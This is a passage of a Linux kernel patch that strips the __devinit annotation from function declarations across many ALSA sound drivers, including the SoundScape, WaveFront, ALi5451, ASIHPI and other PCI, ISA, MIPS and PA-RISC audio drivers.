+static unsigned get_irq_config(int sscape_type, int irq)
 {
 	static const int valid_irq[] = { 9, 5, 7, 10 };
 	static const int old_irq[] = { 9, 7, 5, 15 };
@@ -706,7 +706,7 @@ static unsigned __devinit get_irq_config(int sscape_type, int irq)
  * Perform certain arcane port-checks to see whether there
  * is a SoundScape board lurking behind the given ports.
  */
-static int __devinit detect_sscape(struct soundscape *s, long wss_io)
+static int detect_sscape(struct soundscape *s, long wss_io)
 {
 	unsigned long flags;
 	unsigned d;
@@ -817,7 +817,7 @@ static int mpu401_open(struct snd_mpu401 *mpu)
 /*
  * Initialse an MPU-401 subdevice for MIDI support on the SoundScape.
  */
-static int __devinit create_mpu401(struct snd_card *card, int devnum,
+static int create_mpu401(struct snd_card *card, int devnum,
 				   unsigned long port, int irq)
 {
 	struct soundscape *sscape = get_card_soundscape(card);
@@ -845,7 +845,7 @@ static int __devinit create_mpu401(struct snd_card *card, int devnum,
  * try to support at least some of the extra bits by overriding
  * some of the CS4231 callback.
  */
-static int __devinit create_ad1845(struct snd_card *card, unsigned port,
+static int create_ad1845(struct snd_card *card, unsigned port,
 				   int irq, int dma1, int dma2)
 {
 	register struct soundscape *sscape = get_card_soundscape(card);
@@ -937,7 +937,7 @@ _error:
  * Create an ALSA soundcard entry for the SoundScape, using
  * the given list of port, IRQ and DMA resources.
  */
-static int __devinit create_sscape(int dev, struct snd_card *card)
+static int create_sscape(int dev, struct snd_card *card)
 {
 	struct soundscape *sscape = get_card_soundscape(card);
 	unsigned dma_cfg;
@@ -1143,7 +1143,7 @@ _release_region:
 }
 
 
-static int __devinit snd_sscape_match(struct device *pdev, unsigned int i)
+static int snd_sscape_match(struct device *pdev, unsigned int i)
 {
 	/*
 	 * Make sure we were given ALL of the other parameters.
@@ -1163,7 +1163,7 @@ static int __devinit snd_sscape_match(struct device *pdev, unsigned int i)
 	return 1;
 }
 
-static int __devinit snd_sscape_probe(struct device *pdev, unsigned int dev)
+static int snd_sscape_probe(struct device *pdev, unsigned int dev)
 {
 	struct snd_card *card;
 	struct soundscape *sscape;
@@ -1217,7 +1217,7 @@ static struct isa_driver snd_sscape_driver = {
 };
 
 #ifdef CONFIG_PNP
-static inline int __devinit get_next_autoindex(int i)
+static inline int get_next_autoindex(int i)
 {
 	while (i < SNDRV_CARDS && port[i] != SNDRV_AUTO_PORT)
 		++i;
@@ -1225,7 +1225,7 @@ static inline int __devinit get_next_autoindex(int i)
 }
 
 
-static int __devinit sscape_pnp_detect(struct pnp_card_link *pcard,
+static int sscape_pnp_detect(struct pnp_card_link *pcard,
 				       const struct pnp_card_device_id *pid)
 {
 	static int idx = 0;
diff --git a/sound/isa/wavefront/wavefront.c b/sound/isa/wavefront/wavefront.c
index d700ca9..abe3c34 100644
--- a/sound/isa/wavefront/wavefront.c
+++ b/sound/isa/wavefront/wavefront.c
@@ -98,8 +98,7 @@ static struct pnp_card_device_id snd_wavefront_pnpids[] = {
 
 MODULE_DEVICE_TABLE(pnp_card, snd_wavefront_pnpids);
 
-static int __devinit
-snd_wavefront_pnp (int dev, snd_wavefront_card_t *acard, struct pnp_card_link *card,
+static int snd_wavefront_pnp (int dev, snd_wavefront_card_t *acard, struct pnp_card_link *card,
 		   const struct pnp_card_device_id *id)
 {
 	struct pnp_dev *pdev;
@@ -231,8 +230,7 @@ static irqreturn_t snd_wavefront_ics2115_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static struct snd_hwdep * __devinit
-snd_wavefront_new_synth (struct snd_card *card,
+static struct snd_hwdep *snd_wavefront_new_synth (struct snd_card *card,
 			 int hw_dev,
 			 snd_wavefront_card_t *acard)
 {
@@ -257,8 +255,7 @@ snd_wavefront_new_synth (struct snd_card *card,
 	return wavefront_synth;
 }
 
-static struct snd_hwdep * __devinit
-snd_wavefront_new_fx (struct snd_card *card,
+static struct snd_hwdep *snd_wavefront_new_fx (struct snd_card *card,
 		      int hw_dev,
 		      snd_wavefront_card_t *acard,
 		      unsigned long port)
@@ -284,8 +281,7 @@ snd_wavefront_new_fx (struct snd_card *card,
 static snd_wavefront_mpu_id internal_id = internal_mpu;
 static snd_wavefront_mpu_id external_id = external_mpu;
 
-static struct snd_rawmidi *__devinit
-snd_wavefront_new_midi (struct snd_card *card,
+static struct snd_rawmidi *snd_wavefront_new_midi (struct snd_card *card,
 			int midi_dev,
 			snd_wavefront_card_t *acard,
 			unsigned long port,
@@ -361,8 +357,7 @@ static int snd_wavefront_card_new(int dev, struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit
-snd_wavefront_probe (struct snd_card *card, int dev)
+static int snd_wavefront_probe (struct snd_card *card, int dev)
 {
 	snd_wavefront_card_t *acard = card->private_data;
 	struct snd_wss *chip;
@@ -541,7 +536,7 @@ snd_wavefront_probe (struct snd_card *card, int dev)
 	return snd_card_register(card);
 }	
 
-static int __devinit snd_wavefront_isa_match(struct device *pdev,
+static int snd_wavefront_isa_match(struct device *pdev,
 					     unsigned int dev)
 {
 	if (!enable[dev])
@@ -561,7 +556,7 @@ static int __devinit snd_wavefront_isa_match(struct device *pdev,
 	return 1;
 }
 
-static int __devinit snd_wavefront_isa_probe(struct device *pdev,
+static int snd_wavefront_isa_probe(struct device *pdev,
 					     unsigned int dev)
 {
 	struct snd_card *card;
@@ -602,7 +597,7 @@ static struct isa_driver snd_wavefront_driver = {
 
 
 #ifdef CONFIG_PNP
-static int __devinit snd_wavefront_pnp_detect(struct pnp_card_link *pcard,
+static int snd_wavefront_pnp_detect(struct pnp_card_link *pcard,
 					const struct pnp_card_device_id *pid)
 {
 	static int dev;
diff --git a/sound/isa/wavefront/wavefront_fx.c b/sound/isa/wavefront/wavefront_fx.c
index e51e090..2d4fa4a 100644
--- a/sound/isa/wavefront/wavefront_fx.c
+++ b/sound/isa/wavefront/wavefront_fx.c
@@ -240,8 +240,7 @@ snd_wavefront_fx_ioctl (struct snd_hwdep *sdev, struct file *file,
    that outputs it.
 */
 
-int __devinit
-snd_wavefront_fx_start (snd_wavefront_t *dev)
+int snd_wavefront_fx_start (snd_wavefront_t *dev)
 {
 	unsigned int i;
 	int err;
diff --git a/sound/isa/wavefront/wavefront_midi.c b/sound/isa/wavefront/wavefront_midi.c
index 65329f3..faa2483 100644
--- a/sound/isa/wavefront/wavefront_midi.c
+++ b/sound/isa/wavefront/wavefront_midi.c
@@ -481,8 +481,7 @@ snd_wavefront_midi_disable_virtual (snd_wavefront_card_t *card)
 	spin_unlock_irqrestore (&card->wavefront.midi.virtual, flags);
 }
 
-int __devinit
-snd_wavefront_midi_start (snd_wavefront_card_t *card)
+int snd_wavefront_midi_start (snd_wavefront_card_t *card)
 
 {
 	int ok, i;
diff --git a/sound/isa/wavefront/wavefront_synth.c b/sound/isa/wavefront/wavefront_synth.c
index b1bf8d4..7345a87 100644
--- a/sound/isa/wavefront/wavefront_synth.c
+++ b/sound/isa/wavefront/wavefront_synth.c
@@ -1739,8 +1739,7 @@ snd_wavefront_internal_interrupt (snd_wavefront_card_t *card)
 7 Unused
 */
 
-static int __devinit
-snd_wavefront_interrupt_bits (int irq)
+static int snd_wavefront_interrupt_bits (int irq)
 
 {
 	int bits;
@@ -1767,8 +1766,7 @@ snd_wavefront_interrupt_bits (int irq)
 	return bits;
 }
 
-static void __devinit
-wavefront_should_cause_interrupt (snd_wavefront_t *dev, 
+static void wavefront_should_cause_interrupt (snd_wavefront_t *dev,
 				  int val, int port, unsigned long timeout)
 
 {
@@ -1786,8 +1784,7 @@ wavefront_should_cause_interrupt (snd_wavefront_t *dev,
 	}
 }
 
-static int __devinit
-wavefront_reset_to_cleanliness (snd_wavefront_t *dev)
+static int wavefront_reset_to_cleanliness (snd_wavefront_t *dev)
 
 {
 	int bits;
@@ -1937,8 +1934,7 @@ wavefront_reset_to_cleanliness (snd_wavefront_t *dev)
 	return (1);
 }
 
-static int __devinit
-wavefront_download_firmware (snd_wavefront_t *dev, char *path)
+static int wavefront_download_firmware (snd_wavefront_t *dev, char *path)
 
 {
 	const unsigned char *buf;
@@ -2010,8 +2006,7 @@ wavefront_download_firmware (snd_wavefront_t *dev, char *path)
 }
 
 
-static int __devinit
-wavefront_do_reset (snd_wavefront_t *dev)
+static int wavefront_do_reset (snd_wavefront_t *dev)
 
 {
 	char voices[1];
@@ -2099,8 +2094,7 @@ wavefront_do_reset (snd_wavefront_t *dev)
 	return 1;
 }
 
-int __devinit
-snd_wavefront_start (snd_wavefront_t *dev)
+int snd_wavefront_start (snd_wavefront_t *dev)
 
 {
 	int samples_are_from_rom;
@@ -2141,8 +2135,7 @@ snd_wavefront_start (snd_wavefront_t *dev)
 	return (0);
 }
 
-int __devinit
-snd_wavefront_detect (snd_wavefront_card_t *card)
+int snd_wavefront_detect (snd_wavefront_card_t *card)
 
 {
 	unsigned char   rbuf[4], wbuf[4];
diff --git a/sound/mips/au1x00.c b/sound/mips/au1x00.c
index 3f3ec0b..6110c12 100644
--- a/sound/mips/au1x00.c
+++ b/sound/mips/au1x00.c
@@ -439,8 +439,7 @@ static struct snd_pcm_ops snd_card_au1000_capture_ops = {
 	.pointer		= snd_au1000_pointer,
 };
 
-static int __devinit
-snd_au1000_pcm_new(struct snd_au1000 *au1000)
+static int snd_au1000_pcm_new(struct snd_au1000 *au1000)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -552,8 +551,7 @@ get the interrupt driven case to work efficiently */
 	spin_unlock(&au1000->ac97_lock);
 }
 
-static int __devinit
-snd_au1000_ac97_new(struct snd_au1000 *au1000)
+static int snd_au1000_ac97_new(struct snd_au1000 *au1000)
 {
 	int err;
 	struct snd_ac97_bus *pbus;
diff --git a/sound/mips/hal2.c b/sound/mips/hal2.c
index 0bd7fb5..0670a83 100644
--- a/sound/mips/hal2.c
+++ b/sound/mips/hal2.c
@@ -280,7 +280,7 @@ static struct snd_kcontrol_new hal2_ctrl_mic __devinitdata = {
 	.put            = hal2_gain_put,
 };
 
-static int __devinit hal2_mixer_create(struct snd_hal2 *hal2)
+static int hal2_mixer_create(struct snd_hal2 *hal2)
 {
 	int err;
 
@@ -733,7 +733,7 @@ static struct snd_pcm_ops hal2_capture_ops = {
 	.ack =         hal2_capture_ack,
 };
 
-static int __devinit hal2_pcm_create(struct snd_hal2 *hal2)
+static int hal2_pcm_create(struct snd_hal2 *hal2)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -874,7 +874,7 @@ static int hal2_create(struct snd_card *card, struct snd_hal2 **rchip)
 	return 0;
 }
 
-static int __devinit hal2_probe(struct platform_device *pdev)
+static int hal2_probe(struct platform_device *pdev)
 {
 	struct snd_card *card;
 	struct snd_hal2 *chip;
diff --git a/sound/mips/sgio2audio.c b/sound/mips/sgio2audio.c
index b67d555..ff32a07 100644
--- a/sound/mips/sgio2audio.c
+++ b/sound/mips/sgio2audio.c
@@ -317,7 +317,7 @@ static struct snd_kcontrol_new sgio2audio_ctrl_mic __devinitdata = {
 };
 
 
-static int __devinit snd_sgio2audio_new_mixer(struct snd_sgio2audio *chip)
+static int snd_sgio2audio_new_mixer(struct snd_sgio2audio *chip)
 {
 	int err;
 
@@ -726,7 +726,7 @@ static struct snd_pcm_ops snd_sgio2audio_capture_ops = {
  */
 
 /* create a pcm device */
-static int __devinit snd_sgio2audio_new_pcm(struct snd_sgio2audio *chip)
+static int snd_sgio2audio_new_pcm(struct snd_sgio2audio *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -834,7 +834,7 @@ static struct snd_device_ops ops = {
 	.dev_free = snd_sgio2audio_dev_free,
 };
 
-static int __devinit snd_sgio2audio_create(struct snd_card *card,
+static int snd_sgio2audio_create(struct snd_card *card,
 					   struct snd_sgio2audio **rchip)
 {
 	struct snd_sgio2audio *chip;
@@ -914,7 +914,7 @@ static int __devinit snd_sgio2audio_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_sgio2audio_probe(struct platform_device *pdev)
+static int snd_sgio2audio_probe(struct platform_device *pdev)
 {
 	struct snd_card *card;
 	struct snd_sgio2audio *chip;
diff --git a/sound/oss/kahlua.c b/sound/oss/kahlua.c
index f0836bc..5d092d2 100644
--- a/sound/oss/kahlua.c
+++ b/sound/oss/kahlua.c
@@ -43,7 +43,7 @@
  *	not real hardware.
  */
 
-static u8 __devinit mixer_read(unsigned long io, u8 reg)
+static u8 mixer_read(unsigned long io, u8 reg)
 {
 	outb(reg, io + 4);
 	udelay(20);
@@ -52,7 +52,7 @@ static u8 __devinit mixer_read(unsigned long io, u8 reg)
 	return reg;
 }
 
-static int __devinit probe_one(struct pci_dev *pdev, const struct pci_device_id *ent)
+static int probe_one(struct pci_dev *pdev, const struct pci_device_id *ent)
 {
 	struct address_info *hw_config;
 	unsigned long base;
diff --git a/sound/oss/swarm_cs4297a.c b/sound/oss/swarm_cs4297a.c
index 7d8803a..067ff1b 100644
--- a/sound/oss/swarm_cs4297a.c
+++ b/sound/oss/swarm_cs4297a.c
@@ -46,7 +46,7 @@
 *                libOSSm.so)
 * 10/11/00 trw - modified for 2.4.0-test9 kernel enhancements (NR_MAP removal)
 * 11/03/00 trw - fixed interrupt loss/stutter, added debug.
-* 11/10/00 bkz - added __devinit to cs4297a_hw_init()
+* 11/10/00 bkz - added to cs4297a_hw_init()
 * 11/10/00 trw - fixed SMP and capture spinlock hang.
 * 12/04/00 trw - cleaned up CSDEBUG flags and added "defaultorder" moduleparm.
 * 12/05/00 trw - fixed polling (myth2), and added underrun swptr fix.
diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index 41307cc..cef6a11 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -856,8 +856,7 @@ static struct snd_kcontrol_new snd_harmony_controls[] = {
 		       HARMONY_GAIN_HE_SHIFT, 1, 0),
 };
 
-static void __devinit
-snd_harmony_mixer_reset(struct snd_harmony *h)
+static void snd_harmony_mixer_reset(struct snd_harmony *h)
 {
 	harmony_mute(h);
 	harmony_reset(h);
@@ -865,8 +864,7 @@ snd_harmony_mixer_reset(struct snd_harmony *h)
 	harmony_unmute(h);
 }
 
-static int __devinit
-snd_harmony_mixer_init(struct snd_harmony *h)
+static int snd_harmony_mixer_init(struct snd_harmony *h)
 {
 	struct snd_card *card;
 	int idx, err;
@@ -915,8 +913,7 @@ snd_harmony_dev_free(struct snd_device *dev)
 	return snd_harmony_free(h);
 }
 
-static int __devinit
-snd_harmony_create(struct snd_card *card, 
+static int snd_harmony_create(struct snd_card *card,
 		   struct parisc_device *padev, 
 		   struct snd_harmony **rchip)
 {
@@ -972,8 +969,7 @@ free_and_ret:
 	return err;
 }
 
-static int __devinit
-snd_harmony_probe(struct parisc_device *padev)
+static int snd_harmony_probe(struct parisc_device *padev)
 {
 	int err;
 	struct snd_card *card;
diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index b4dc050..099d9fd 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -624,8 +624,7 @@ snd_ad1889_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static int __devinit
-snd_ad1889_pcm_init(struct snd_ad1889 *chip, int device, struct snd_pcm **rpcm)
+static int snd_ad1889_pcm_init(struct snd_ad1889 *chip, int device, struct snd_pcm **rpcm)
 {
 	int err;
 	struct snd_pcm *pcm;
@@ -747,8 +746,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
 	snd_iprintf(buffer, "Resampler samplerate: %u Hz\n", reg);
 }
 
-static void __devinit
-snd_ad1889_proc_init(struct snd_ad1889 *chip)
+static void snd_ad1889_proc_init(struct snd_ad1889 *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -767,8 +765,7 @@ static struct ac97_quirk ac97_quirks[] = {
 	{ } /* terminator */
 };
 
-static void __devinit
-snd_ad1889_ac97_xinit(struct snd_ad1889 *chip)
+static void snd_ad1889_ac97_xinit(struct snd_ad1889 *chip)
 {
 	u16 reg;
 
@@ -805,8 +802,7 @@ snd_ad1889_ac97_free(struct snd_ac97 *ac97)
 	chip->ac97 = NULL;
 }
 
-static int __devinit
-snd_ad1889_ac97_init(struct snd_ad1889 *chip, const char *quirk_override)
+static int snd_ad1889_ac97_init(struct snd_ad1889 *chip, const char *quirk_override)
 {
 	int err;
 	struct snd_ac97_template ac97;
@@ -878,8 +874,7 @@ snd_ad1889_dev_free(struct snd_device *device)
 	return snd_ad1889_free(chip);
 }
 
-static int __devinit
-snd_ad1889_init(struct snd_ad1889 *chip) 
+static int snd_ad1889_init(struct snd_ad1889 *chip)
 {
 	ad1889_writew(chip, AD_DS_CCS, AD_DS_CCS_CLKEN); /* turn on clock */
 	ad1889_readw(chip, AD_DS_CCS);	/* flush posted write */
@@ -892,8 +887,7 @@ snd_ad1889_init(struct snd_ad1889 *chip)
 	return 0;
 }
 
-static int __devinit
-snd_ad1889_create(struct snd_card *card,
+static int snd_ad1889_create(struct snd_card *card,
 		  struct pci_dev *pci,
 		  struct snd_ad1889 **rchip)
 {
@@ -978,8 +972,7 @@ free_and_ret:
 	return err;
 }
 
-static int __devinit
-snd_ad1889_probe(struct pci_dev *pci,
+static int snd_ad1889_probe(struct pci_dev *pci,
 		 const struct pci_device_id *pci_id)
 {
 	int err;
diff --git a/sound/pci/ak4531_codec.c b/sound/pci/ak4531_codec.c
index cadf7b9..d3e5cf1 100644
--- a/sound/pci/ak4531_codec.c
+++ b/sound/pci/ak4531_codec.c
@@ -383,7 +383,7 @@ static u8 snd_ak4531_initial_map[0x19 + 1] = {
 	0x01		/* 19: Mic Amp Setup */
 };
 
-int __devinit snd_ak4531_mixer(struct snd_card *card,
+int snd_ak4531_mixer(struct snd_card *card,
 			       struct snd_ak4531 *_ak4531,
 			       struct snd_ak4531 **rak4531)
 {
@@ -483,8 +483,7 @@ static void snd_ak4531_proc_read(struct snd_info_entry *entry,
 		    ak4531->regs[AK4531_MIC_GAIN] & 1 ? "+30dB" : "+0dB");
 }
 
-static void __devinit
-snd_ak4531_proc_init(struct snd_card *card, struct snd_ak4531 *ak4531)
+static void snd_ak4531_proc_init(struct snd_card *card, struct snd_ak4531 *ak4531)
 {
 	struct snd_info_entry *entry;
 
diff --git a/sound/pci/ali5451/ali5451.c b/sound/pci/ali5451/ali5451.c
index 5550bfb..7691659 100644
--- a/sound/pci/ali5451/ali5451.c
+++ b/sound/pci/ali5451/ali5451.c
@@ -1678,7 +1678,7 @@ static void snd_ali_pcm_free(struct snd_pcm *pcm)
 }
 
 
-static int __devinit snd_ali_pcm(struct snd_ali * codec, int device,
+static int snd_ali_pcm(struct snd_ali * codec, int device,
 				 struct ali_pcm_description *desc)
 {
 	struct snd_pcm *pcm;
@@ -1727,7 +1727,7 @@ static struct ali_pcm_description ali_pcms[] = {
 	}
 };
 
-static int __devinit snd_ali_build_pcms(struct snd_ali *codec)
+static int snd_ali_build_pcms(struct snd_ali *codec)
 {
 	int i, err;
 	for (i = 0; i < codec->num_of_codecs && i < ARRAY_SIZE(ali_pcms); i++) {
@@ -1842,7 +1842,7 @@ static struct snd_kcontrol_new snd_ali5451_mixer_spdif[] __devinitdata = {
 	ALI5451_SPDIF(SNDRV_CTL_NAME_IEC958("",CAPTURE,SWITCH), 0, 2)
 };
 
-static int __devinit snd_ali_mixer(struct snd_ali * codec)
+static int snd_ali_mixer(struct snd_ali * codec)
 {
 	struct snd_ac97_template ac97;
 	unsigned int idx;
@@ -2079,14 +2079,14 @@ static void snd_ali_proc_read(struct snd_info_entry *entry,
 		snd_iprintf(buf, "%02x: %08x\n", i, inl(ALI_REG(codec, i)));
 }
 
-static void __devinit snd_ali_proc_init(struct snd_ali *codec)
+static void snd_ali_proc_init(struct snd_ali *codec)
 {
 	struct snd_info_entry *entry;
 	if (!snd_card_proc_new(codec->card, "ali5451", &entry))
 		snd_info_set_text_ops(entry, codec, snd_ali_proc_read);
 }
 
-static int __devinit snd_ali_resources(struct snd_ali *codec)
+static int snd_ali_resources(struct snd_ali *codec)
 {
 	int err;
 
@@ -2112,7 +2112,7 @@ static int snd_ali_dev_free(struct snd_device *device)
 	return 0;
 }
 
-static int __devinit snd_ali_create(struct snd_card *card,
+static int snd_ali_create(struct snd_card *card,
 				    struct pci_dev *pci,
 				    int pcm_streams,
 				    int spdif_support,
@@ -2246,7 +2246,7 @@ static int __devinit snd_ali_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_ali_probe(struct pci_dev *pci,
+static int snd_ali_probe(struct pci_dev *pci,
 				   const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/als300.c b/sound/pci/als300.c
index 4e7e625..8fac3ce 100644
--- a/sound/pci/als300.c
+++ b/sound/pci/als300.c
@@ -622,7 +622,7 @@ static struct snd_pcm_ops snd_als300_capture_ops = {
 	.pointer =	snd_als300_pointer,
 };
 
-static int __devinit snd_als300_new_pcm(struct snd_als300 *chip)
+static int snd_als300_new_pcm(struct snd_als300 *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -683,7 +683,7 @@ static void snd_als300_init(struct snd_als300 *chip)
 	snd_als300_dbgcallleave();
 }
 
-static int __devinit snd_als300_create(struct snd_card *card,
+static int snd_als300_create(struct snd_card *card,
 				       struct pci_dev *pci, int chip_type,
 				       struct snd_als300 **rchip)
 {
@@ -815,7 +815,7 @@ static SIMPLE_DEV_PM_OPS(snd_als300_pm, snd_als300_suspend, snd_als300_resume);
 #define SND_ALS300_PM_OPS	NULL
 #endif
 
-static int __devinit snd_als300_probe(struct pci_dev *pci,
+static int snd_als300_probe(struct pci_dev *pci,
                              const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/als4000.c b/sound/pci/als4000.c
index 3e0461e..2588c47 100644
--- a/sound/pci/als4000.c
+++ b/sound/pci/als4000.c
@@ -694,7 +694,7 @@ static struct snd_pcm_ops snd_als4000_capture_ops = {
 	.pointer =	snd_als4000_capture_pointer
 };
 
-static int __devinit snd_als4000_pcm(struct snd_sb *chip, int device)
+static int snd_als4000_pcm(struct snd_sb *chip, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -770,7 +770,7 @@ static void snd_als4000_configure(struct snd_sb *chip)
 }
 
 #ifdef SUPPORT_JOYSTICK
-static int __devinit snd_als4000_create_gameport(struct snd_card_als4000 *acard, int dev)
+static int snd_als4000_create_gameport(struct snd_card_als4000 *acard, int dev)
 {
 	struct gameport *gp;
 	struct resource *r;
@@ -847,7 +847,7 @@ static void snd_card_als4000_free( struct snd_card *card )
 	pci_disable_device(acard->pci);
 }
 
-static int __devinit snd_card_als4000_probe(struct pci_dev *pci,
+static int snd_card_als4000_probe(struct pci_dev *pci,
 					  const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
index 7924f05..a01739c 100644
--- a/sound/pci/asihpi/asihpi.c
+++ b/sound/pci/asihpi/asihpi.c
@@ -1235,7 +1235,7 @@ static struct snd_pcm_ops snd_card_asihpi_capture_mmap_ops = {
 	.pointer = snd_card_asihpi_capture_pointer,
 };
 
-static int __devinit snd_card_asihpi_pcm_new(
+static int snd_card_asihpi_pcm_new(
 		struct snd_card_asihpi *asihpi, int device)
 {
 	struct snd_pcm *pcm;
@@ -1497,7 +1497,7 @@ static int snd_asihpi_volume_mute_put(struct snd_kcontrol *kcontrol,
 	return change;
 }
 
-static int __devinit snd_asihpi_volume_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_volume_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -1593,7 +1593,7 @@ static int snd_asihpi_level_put(struct snd_kcontrol *kcontrol,
 
 static const DECLARE_TLV_DB_SCALE(db_scale_level, -1000, 100, 0);
 
-static int __devinit snd_asihpi_level_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_level_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -1715,7 +1715,7 @@ static int snd_asihpi_aesebu_rxstatus_get(struct snd_kcontrol *kcontrol,
 	return 0;
 }
 
-static int __devinit snd_asihpi_aesebu_rx_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_aesebu_rx_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -1753,7 +1753,7 @@ static int snd_asihpi_aesebu_tx_format_put(struct snd_kcontrol *kcontrol,
 }
 
 
-static int __devinit snd_asihpi_aesebu_tx_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_aesebu_tx_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -1996,7 +1996,7 @@ static int snd_asihpi_tuner_freq_put(struct snd_kcontrol *kcontrol,
 }
 
 /* Tuner control group initializer  */
-static int __devinit snd_asihpi_tuner_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_tuner_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -2100,7 +2100,7 @@ static int snd_asihpi_meter_get(struct snd_kcontrol *kcontrol,
 	return 0;
 }
 
-static int __devinit snd_asihpi_meter_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_meter_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl, int subidx)
 {
 	struct snd_card *card = asihpi->card;
@@ -2214,7 +2214,7 @@ static int snd_asihpi_mux_put(struct snd_kcontrol *kcontrol,
 }
 
 
-static int  __devinit snd_asihpi_mux_add(struct snd_card_asihpi *asihpi,
+static int  snd_asihpi_mux_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -2303,7 +2303,7 @@ static int snd_asihpi_cmode_put(struct snd_kcontrol *kcontrol,
 }
 
 
-static int __devinit snd_asihpi_cmode_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_cmode_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -2471,7 +2471,7 @@ static int snd_asihpi_clkrate_get(struct snd_kcontrol *kcontrol,
 	return 0;
 }
 
-static int __devinit snd_asihpi_sampleclock_add(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_sampleclock_add(struct snd_card_asihpi *asihpi,
 					struct hpi_control *hpi_ctl)
 {
 	struct snd_card *card = asihpi->card;
@@ -2548,7 +2548,7 @@ static int __devinit snd_asihpi_sampleclock_add(struct snd_card_asihpi *asihpi,
    Mixer
  ------------------------------------------------------------*/
 
-static int __devinit snd_card_asihpi_mixer_new(struct snd_card_asihpi *asihpi)
+static int snd_card_asihpi_mixer_new(struct snd_card_asihpi *asihpi)
 {
 	struct snd_card *card = asihpi->card;
 	unsigned int idx = 0;
@@ -2722,7 +2722,7 @@ snd_asihpi_proc_read(struct snd_info_entry *entry,
 	}
 }
 
-static void __devinit snd_asihpi_proc_init(struct snd_card_asihpi *asihpi)
+static void snd_asihpi_proc_init(struct snd_card_asihpi *asihpi)
 {
 	struct snd_info_entry *entry;
 
@@ -2764,7 +2764,7 @@ static int snd_asihpi_hpi_ioctl(struct snd_hwdep *hw, struct file *file,
 /* results in /dev/snd/hwC#D0 file for each card with index #
    also /proc/asound/hwdep will contain '#-00: asihpi (HPI) for each card'
 */
-static int __devinit snd_asihpi_hpi_new(struct snd_card_asihpi *asihpi,
+static int snd_asihpi_hpi_new(struct snd_card_asihpi *asihpi,
 	int device, struct snd_hwdep **rhwdep)
 {
 	struct snd_hwdep *hw;
@@ -2789,7 +2789,7 @@ static int __devinit snd_asihpi_hpi_new(struct snd_card_asihpi *asihpi,
 /*------------------------------------------------------------
    CARD
  ------------------------------------------------------------*/
-static int __devinit snd_asihpi_probe(struct pci_dev *pci_dev,
+static int snd_asihpi_probe(struct pci_dev *pci_dev,
 				       const struct pci_device_id *pci_id)
 {
 	int err;
diff --git a/sound/pci/asihpi/hpioctl.c b/sound/pci/asihpi/hpioctl.c
index 8f96749..842b94d 100644
--- a/sound/pci/asihpi/hpioctl.c
+++ b/sound/pci/asihpi/hpioctl.c
@@ -307,7 +307,7 @@ out:
 	return err;
 }
 
-int __devinit asihpi_adapter_probe(struct pci_dev *pci_dev,
+int asihpi_adapter_probe(struct pci_dev *pci_dev,
 	const struct pci_device_id *pci_id)
 {
 	int idx, nm;
diff --git a/sound/pci/asihpi/hpioctl.h b/sound/pci/asihpi/hpioctl.h
index 2614aff..f99baea 100644
--- a/sound/pci/asihpi/hpioctl.h
+++ b/sound/pci/asihpi/hpioctl.h
@@ -19,7 +19,7 @@
 Linux HPI ioctl, and shared module init functions
 *******************************************************************************/
 
-int __devinit asihpi_adapter_probe(struct pci_dev *pci_dev,
+int asihpi_adapter_probe(struct pci_dev *pci_dev,
 	const struct pci_device_id *pci_id);
 void __devexit asihpi_adapter_remove(struct pci_dev *pci_dev);
 void __init asihpi_init(void);
diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
index b281f2a..132c151 100644
--- a/sound/pci/atiixp.c
+++ b/sound/pci/atiixp.c
@@ -561,7 +561,7 @@ static int snd_atiixp_aclink_down(struct atiixp *chip)
 	     ATI_REG_ISR_CODEC2_NOT_READY)
 #define CODEC_CHECK_BITS (ALL_CODEC_NOT_READY|ATI_REG_ISR_NEW_FRAME)
 
-static int __devinit ac97_probing_bugs(struct pci_dev *pci)
+static int ac97_probing_bugs(struct pci_dev *pci)
 {
 	const struct snd_pci_quirk *q;
 
